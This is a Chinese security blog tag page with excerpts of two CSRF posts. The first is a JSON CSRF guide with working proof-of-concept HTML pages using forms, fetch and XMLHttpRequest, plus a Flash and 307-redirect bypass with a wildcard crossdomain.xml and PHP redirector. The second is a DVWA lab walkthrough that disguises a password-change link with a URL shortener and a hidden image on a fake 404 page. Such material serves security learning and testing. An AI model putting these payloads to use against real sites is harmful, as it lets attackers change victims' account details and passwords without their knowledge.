Tag:CSRF

Tag (CSRF)'s result:

JSON型CSRF攻击方法

原始请求,存在CSRF漏洞 如果后端只是检查格式不检查header,可尝试 <html> <body> <script src=”jquery.min.js”></script> <form id=”myform” enctype=”text/plain” action=”https://xxx.com/apps/member/up_member_info” method=”POST”> <input id=”json” type=”hidden” name=’json’ value=’changenick”}’> </form> <script> $(document).ready(function() { $(“#json”).attr(“name”,'{“name”:”‘); $(“#myform”).submit(); }); </script> </body> </html> 增加ignore_me参数可去掉多出的等号: <form action=”https://xxxx.com/apps/member/up_member_info” method=”post” enctype=”text/plain”> <p>Last name: <input type=”text” name='{“name”:”changenick6″,”ignore_me”:”‘ value=’test”}’type=’hidden’></p> <input type=”submit” value=”Submit” /> </form> 或者把value置空: <html> <body> <script src=”jquery.min.js”></script> <form id=”myform” enctype=”text/plain” action=”https://xxx.com/apps/member/up_member_info” method=”POST”> <input id=”json” type=”hidden” name=’json’ value=”> </form> <script> $(document).ready(function() { $(“#json”).attr(“name”,'{“name”:”changenick”}’); $(“#myform”).submit(); }); </script> </body> </html> 利用fetch发请求: <html> <title>JSON CSRF POC</title> <body> <center> <h1> JSON CSRF POC </h1> <script> fetch(‘https://xxx.com/apps/member/up_member_info’;, {method: ‘POST’, credentials: ‘include’, headers: {‘Content-Type’: ‘text/plain’}, body: ‘{“username”:”test0001″}’}); </script> <form action=”#”> <input type=”button” value=”Submit” /> </form> </center> </body> </html>   利用xmlhttprequest发请求,要配合跨域漏洞 <html> <script language=”javascript” type=”text/javascript”> function jsonreq() { var xmlhttp = new XMLHttpRequest(); xmlhttp.open(“POST”,”https://xxx.com/apps/member/up_member_info”,true); xmlhttp.setRequestHeader(“Content-Type”,”application/json;charset=UTF-8″); xmlhttp.withCredentials = true xmlhttp.send(JSON.stringify({“name”:”changenick02″}));; } jsonreq(); </script> </html>       如果后端检查了header,尝试flash+307 Flash可以携带请求头和请求参数向重定向器(307)发出请求。 重定向器向目标页面发出CSRF攻击请求(携带请求头和请求参数,X-Requested-With:flash)。 Flash再向目标站请求crossdomain.xml,但是此前攻击请求已发出。 准备道具: 服务器,恶意flash文件,307页面文件,crossdomain.xml(可选) crossdomain.xml: <cross-domain-policy> <allow-access-from domain=”*” secure=”false”/> <allow-http-request-headers-from domain=”*” headers=”*” secure=”false”/> </cross-domain-policy> 用来允许flash向攻击者服务器请求307页面。 //如果flash文件和307页面在同一个域名下,就不需要crossdomain文件 重定向307的PHP文件: <?php // redirect automatically header(“Location: https://victim.com/user/endpoint/”;, true, 307); ?>   实战案例: 环境:win7+Chrome79.0.3945.79+flash32.0.0.303 没有csrf防御,但是为json格式 先利用普通的form响应500,表明后端可能检验了content-type头。 尝试使用xhr 发option预检请求 意料之内无法通过(除非有xss配合,xsrf!)   构造钓鱼页面(利用embed加载flash): <html> <head></head> <body> <embed height=”600″……

dvwa1.9之CSRF

Low: 源码: <?php if( isset( $_GET[ ‘Change’ ] ) ) { // Get input $pass_new = $_GET[ ‘password_new’ ]; $pass_conf = $_GET[ ‘password_conf’ ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update the database $insert = “UPDATE `users` SET password = ‘$pass_new’ WHERE user = ‘” . dvwaCurrentUser() . “‘;”; $result = mysql_query( $insert ) or die( ‘<pre>’ . mysql_error() . ‘</pre>’ ); // Feedback for the user echo “<pre>Password Changed.</pre>”; } else { // Issue with passwords matching echo “<pre>Passwords did not match.</pre>”; } mysql_close(); } ?> 无任何CSRF防护,直接构造链接让人点 www.website.com/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change# 成功修改密码! 这链接有两个弊端: 1.太明显……. 2.会出现password change页面 优化:短网址 上面长网址可以压缩为http://t.cn/RSmyVRE 第二点弊端还存在 继续优化:先在公网上传一个攻击页面,诱骗受害者去访问,在受害者不知情的情况下完成CSRF攻击。 html攻击页面: <img src=”http://www.website.com/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#” border=”0″ style=”display:none;”/> <h1>404<h1> <h2>file not found.<h2> 受害者点击后显示404(500,503,403都ok),但是密码已经改了。   Medium: 源码: <?php if( isset( $_GET[ ‘Change’ ] ) ) { // Checks to see where the request came from if( eregi( $_SERVER[ ‘SERVER_NAME’ ], $_SERVER[ ‘HTTP_REFERER’ ] ) ) { // Get input $pass_new = $_GET[ ‘password_new’ ]; $pass_conf = $_GET[……